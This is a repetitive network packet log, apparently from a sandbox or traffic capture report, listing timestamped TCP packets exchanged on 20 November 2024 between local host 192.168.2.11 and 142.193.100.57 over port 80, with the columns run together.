        Nov 20, 2024 09:14:48.443011999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443011999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443025112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443036079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443047047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443056107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443058014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443064928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443070889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443082094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443092108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443098068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443098068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443103075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443114042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443124056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443128109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443136930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443147898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443159103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443164110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443164110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443171024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443190098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443196058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443240881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.443240881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533178091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533190966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533202887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533325911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533338070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533349991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533354044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533363104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533373117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533375978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533402920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533421993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533643961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533662081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533674955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533684969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533696890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533706903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533718109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533725977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533730030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533741951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533752918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533760071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533760071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533765078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533776045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533791065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533798933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533816099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533824921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533827066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533840895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533845901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533852100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533862114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533869982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533876896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533886909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533890963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533901930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533912897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533915043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533927917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533937931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533938885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533945084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.533952951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533974886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.533976078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534002066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534003973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534015894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534027100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534027100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534039021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534051895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534063101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534064054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534075975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534087896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534089088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534099102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534107924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534133911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534142971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534158945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534169912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534182072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534195900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534205914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534209967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534218073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534218073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534230947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534241915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534250975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534252882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534265995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534291029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534291983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534291983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534306049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534312010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534337044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534343004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534348965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534358025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534368992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534373999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534374952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534380913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534392118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534395933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534404993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534415960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534430027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534440041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534461021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534467936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534467936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534497023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534498930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534509897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534521103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534532070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534543037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534548044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534558058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534569025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534579039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534583092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534601927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534609079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534615993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534626961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534637928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534642935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534648895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534660101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534670115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534676075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534676075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534682035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534693003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534703970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534704924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534713984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534725904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534735918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534743071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534743071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534746885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534759045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534770012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534774065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534780979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534796000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534805059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534815073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534826040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534837008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534841061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534848928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534861088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534861088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534862041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534873009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534883976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534885883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534894943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534900904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534919024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534929991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534940004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534950972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534953117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534953117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534953117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534953117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.534956932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534964085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534971952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534979105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534985065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.534991980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.535026073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.535263062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618583918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618597984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618613958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618669033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618678093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618690968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618702888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618710995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618724108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618736982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618747950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618757010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618815899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618843079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618855953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618866920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618891001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618922949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618941069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618952036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618957996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.618980885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.618988991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619003057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619012117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619031906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619049072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619049072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619128942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619141102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619158983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619159937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619178057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619179964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619189024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619199991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619203091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619211912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619235039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619240999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619252920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619262934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619271994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619282007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619292974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619292974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619302034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619307041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619324923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619333029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619338989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619347095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619362116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619371891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619379044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619379044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619385958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619441032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619443893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619443893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619457006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619469881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619482994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619482994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619561911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619573116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619590044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619592905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619601011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619613886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619621992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619625092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619640112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619647980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619647980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619661093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619669914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619690895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619690895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619730949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619741917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619752884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619764090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619765043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619795084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619823933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619823933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619858027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619870901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619899035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.619909048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619920969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.619956017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620017052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620028019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620038033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620038986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620049000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620074034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620076895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620091915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620101929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620106936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620122910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620122910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620122910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620151043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620161057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620174885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620187998 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620193005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620207071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620218039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620218992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620242119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620253086 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620260000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620273113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620358944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620362043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620373964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620393991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620412111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620418072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620424986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620434999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620438099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620455980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620465994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620476961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620477915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620477915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620486975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620507002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620549917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620560884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620572090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620584965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620625973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620630026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620630026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620637894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620651007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620703936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620714903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620726109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620729923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620747089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620803118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620815039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620826960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620836973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620836973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620848894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620858908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620870113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620881081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620884895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620893002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620903969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620904922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.620910883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.620929956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621200085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621253967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621265888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621284008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621294022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621309996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621311903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621331930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621337891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621344090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621356964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621359110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621376038 CET4970180192.168.2.1142.193.100.57
